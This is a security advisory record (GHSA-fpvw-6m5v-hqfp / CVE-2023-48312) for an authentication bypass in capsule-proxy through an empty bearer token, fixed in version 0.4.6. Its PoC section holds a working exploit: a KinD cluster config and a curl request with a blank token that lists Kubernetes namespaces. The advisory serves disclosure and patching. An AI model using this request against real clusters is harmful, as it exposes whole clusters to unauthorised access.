GHSA-fpvw-6m5v-hqfp

Source

https://github.com/advisories/GHSA-fpvw-6m5v-hqfp

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-fpvw-6m5v-hqfp/GHSA-fpvw-6m5v-hqfp.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-fpvw-6m5v-hqfp

Aliases

Related

CVE-2023-48312

Published

2023-11-24T16:53:25Z

Modified

2024-08-21T14:56:40.597662Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

Capsule Proxy Authentication bypass using an empty token

Details

The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.

All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.

PoC

Start a KinD cluster with the anonymous-auth value to false. If it is true, it uses anonymous permissions which are very limited by default

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: ClusterConfiguration
    apiServer:
        extraArgs:
          anonymous-auth: "false"

Install capsule and capsule-proxy

k port-forward svc/capsule-proxy 9001    
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001

Then query the proxy

curl -g -k -H 'Authorization: Bearer   f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'

Impact

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).

Database specific

{
    "nvd_published_at": "2023-11-24T18:15:07Z",
    "cwe_ids": [
        "CWE-287"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-24T16:53:25Z"
}

References

Affected packages

Go / github.com/projectcapsule/capsule-proxy

Package

Name: github.com/projectcapsule/capsule-proxy; View open source insights on deps.dev
Purl: pkg:golang/github.com/projectcapsule/capsule-proxy

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.4.6

Database specific

{
    "last_known_affected_version_range": "<= 0.4.5"
}

Go / github.com/clastix/capsule-proxy

Package

Name: github.com/clastix/capsule-proxy; View open source insights on deps.dev
Purl: pkg:golang/github.com/clastix/capsule-proxy

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.4.6

Database specific

{
    "last_known_affected_version_range": "<= 0.4.5"
}